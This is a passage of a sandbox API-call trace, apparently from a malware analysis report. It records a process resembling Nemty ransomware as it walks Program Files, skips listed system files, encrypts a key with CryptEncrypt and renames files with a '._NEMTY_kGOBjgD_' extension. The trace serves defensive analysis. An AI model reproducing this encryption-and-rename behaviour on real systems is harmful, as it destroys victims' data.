lpOverlapped=0x0) returned 0 [0061.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.335] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.335] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0061.335] CloseHandle (hObject=0xffffffff) returned 0 [0061.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0061.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0061.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0061.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0061.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.336] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0061.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.336] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0061.336] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0061.336] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0061.336] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0061.336] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0061.336] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0061.336] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0061.336] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0061.336] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0061.337] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0061.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0061.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0061.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0061.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0061.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0061.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0061.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0061.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0061.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0061.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0061.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0061.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0061.338] Sleep (dwMilliseconds=0x5) [0061.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8374490, dwHighDateTime=0x1d561e7)) [0061.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8374490, dwHighDateTime=0x1d561e7)) [0061.353] GetLastError () returned 0x5 [0061.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.353] GetLastError () returned 0x5 [0061.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.353] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0061.353] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0061.353] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0061.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0061.353] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="opiT7aHcZsczpcdqBI2xesZUrnxRmvZCZ1bgkW+fBJtz9rfzZuEo4U3zesPut8wY\r\nPHSN/U+XhTIFegw2WKF1J7kIMumdyvridzkUblEj1geVBIV8l+pt5nC7yCZoBR3B\r\nXv3tWwZa95Af8juQ9N+HqIWtA8zcZcKhUzHeVuch4v4fX+hUNaRtaaoFmP859CSF\r\nQApUoaGasfm+a5hHm76FwPMVmPWBnvsYqNZV+mQdnNTQgZegMuB4xRRfeXRp0EwI\r\nNgaM5SIV/4FZ4tG4JXg0q/MAKXyCV0nG8+50e32S3vxPdhCsCH4it/6/y1w3L0uE\r\nSiGwAUpQd6jph01n84BBxg==\r\n", pcchString=0x653e91c) returned 1 [0061.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0061.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0061.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0061.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0061.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0061.353] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.354] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0061.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0061.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.354] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.363] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.411] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.420] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.421] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.430] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 